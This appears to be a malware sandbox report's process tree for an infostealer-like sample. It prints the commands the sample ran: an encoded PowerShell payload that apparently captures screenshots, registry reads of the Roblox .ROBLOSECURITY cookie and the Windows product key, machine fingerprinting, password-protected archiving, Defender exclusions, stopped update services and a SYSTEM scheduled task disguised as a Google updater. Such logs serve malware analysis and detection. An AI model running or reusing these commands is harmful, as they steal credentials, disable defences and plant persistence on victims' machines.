                                                                                                                                  C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                                                                                                                  8⤵
                                                                                                                                    PID:2856
                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                                                                                                                      9⤵
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:5752
                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sys1yfoq\sys1yfoq.cmdline"
                                                                                                                                        10⤵
                                                                                                                                          PID:6268
                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCC97.tmp" "c:\Users\Admin\AppData\Local\Temp\sys1yfoq\CSCA006C0A22C7248CD8B38B78AE256213.TMP"
                                                                                                                                            11⤵
                                                                                                                                              PID:6380
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                        8⤵
                                                                                                                                          PID:6004
                                                                                                                                          • C:\Windows\system32\tree.com
                                                                                                                                            tree /A /F
                                                                                                                                            9⤵
                                                                                                                                              PID:6168
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                            8⤵
                                                                                                                                              PID:6212
                                                                                                                                              • C:\Windows\system32\tree.com
                                                                                                                                                tree /A /F
                                                                                                                                                9⤵
                                                                                                                                                  PID:6336
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                8⤵
                                                                                                                                                  PID:6396
                                                                                                                                                  • C:\Windows\system32\tree.com
                                                                                                                                                    tree /A /F
                                                                                                                                                    9⤵
                                                                                                                                                      PID:6496
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                    8⤵
                                                                                                                                                      PID:6544
                                                                                                                                                      • C:\Windows\system32\tree.com
                                                                                                                                                        tree /A /F
                                                                                                                                                        9⤵
                                                                                                                                                          PID:6616
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                        8⤵
                                                                                                                                                          PID:6628
                                                                                                                                                          • C:\Windows\system32\tree.com
                                                                                                                                                            tree /A /F
                                                                                                                                                            9⤵
                                                                                                                                                              PID:6696
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                            8⤵
                                                                                                                                                              PID:6976
                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                9⤵
                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:7040
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                              8⤵
                                                                                                                                                                PID:7320
                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  9⤵
                                                                                                                                                                    PID:7332
                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                    powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                    9⤵
                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                    PID:7368
                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "getmac"
                                                                                                                                                                  8⤵
                                                                                                                                                                    PID:7568
                                                                                                                                                                    • C:\Windows\system32\getmac.exe
                                                                                                                                                                      getmac
                                                                                                                                                                      9⤵
                                                                                                                                                                        PID:7616
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI10322\rar.exe a -r -hp"amnesia" "C:\Users\Admin\AppData\Local\Temp\h4Jaq.zip" *"
                                                                                                                                                                      8⤵
                                                                                                                                                                        PID:7656
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\_MEI10322\rar.exe
                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\_MEI10322\rar.exe a -r -hp"amnesia" "C:\Users\Admin\AppData\Local\Temp\h4Jaq.zip" *
                                                                                                                                                                          9⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          PID:7704
                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                                                                                                                        8⤵
                                                                                                                                                                          PID:8412
                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                            wmic os get Caption
                                                                                                                                                                            9⤵
                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                            PID:8520
                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                                                                                                          8⤵
                                                                                                                                                                            PID:8620
                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                              wmic computersystem get totalphysicalmemory
                                                                                                                                                                              9⤵
                                                                                                                                                                                PID:5208
                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                                                              8⤵
                                                                                                                                                                                PID:8680
                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                  wmic csproduct get uuid
                                                                                                                                                                                  9⤵
                                                                                                                                                                                    PID:8740
                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                                                                                                                  8⤵
                                                                                                                                                                                    PID:8836
                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                                                                                                                      9⤵
                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                      PID:8944
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                                                    8⤵
                                                                                                                                                                                      PID:9088
                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                        wmic path win32_VideoController get name
                                                                                                                                                                                        9⤵
                                                                                                                                                                                        • Detects videocard installed
                                                                                                                                                                                        PID:9148
                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                                                                                                                      8⤵
                                                                                                                                                                                        PID:9180
                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                          powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                                                                                                                          9⤵
                                                                                                                                                                                            PID:2516
                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                              PID:7800
                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                              C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:5844
                                                                                                                                                                                • C:\Windows\System32\sc.exe
                                                                                                                                                                                  sc stop UsoSvc
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                  PID:6148
                                                                                                                                                                                • C:\Windows\System32\sc.exe
                                                                                                                                                                                  sc stop WaaSMedicSvc
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                  PID:5716
                                                                                                                                                                                • C:\Windows\System32\sc.exe
                                                                                                                                                                                  sc stop wuauserv
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                  PID:5684
                                                                                                                                                                                • C:\Windows\System32\sc.exe
                                                                                                                                                                                  sc stop bits
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                  PID:5944
                                                                                                                                                                                • C:\Windows\System32\sc.exe
                                                                                                                                                                                  sc stop dosvc
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                  PID:6092
                                                                                                                                                                              • C:\Windows\System32\dialer.exe
                                                                                                                                                                                C:\Windows\System32\dialer.exe
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:6068
                                                                                                                                                                                • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                  C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:4908
                                                                                                                                                                                  • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                    C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\yntnomxcupkb.xml"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                    PID:936
                                                                                                                                                                                  • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                    C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:6052
                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                      PID:1220
                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:8704
                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:8852
                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:9112
                                                                                                                                                                                            • C:\Windows\System32\sc.exe
                                                                                                                                                                                              sc stop UsoSvc
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                              PID:9160
                                                                                                                                                                                            • C:\Windows\System32\sc.exe
                                                                                                                                                                                              sc stop WaaSMedicSvc
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                              PID:9200
                                                                                                                                                                                            • C:\Windows\System32\sc.exe
                                                                                                                                                                                              sc stop wuauserv
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                              PID:3912
                                                                                                                                                                                            • C:\Windows\System32\sc.exe
                                                                                                                                                                                              sc stop bits
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                              PID:4312
                                                                                                                                                                                            • C:\Windows\System32\sc.exe
                                                                                                                                                                                              sc stop dosvc
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                              PID:9188
                                                                                                                                                                                          • C:\Windows\System32\dialer.exe
                                                                                                                                                                                            C:\Windows\System32\dialer.exe
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:4100
                                                                                                                                                                                            • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                              C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\yntnomxcupkb.xml"
                                                                                                                                                                                              2⤵
                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                              PID:2200
                                                                                                                                                                                            • C:\Windows\System32\dialer.exe
                                                                                                                                                                                              C:\Windows\System32\dialer.exe
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:4664
                                                                                                                                                                                              • C:\Windows\System32\dialer.exe
                                                                                                                                                                                                C:\Windows\System32\dialer.exe
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:6052
                                                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:3420
                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:3456
                                                                                                                                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:3864
                                                                                                                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:3916
                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:3936
                                                                                                                                                                                                        • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                          C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:3496
                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                              PID:4356
                                                                                                                                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                              C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:4412
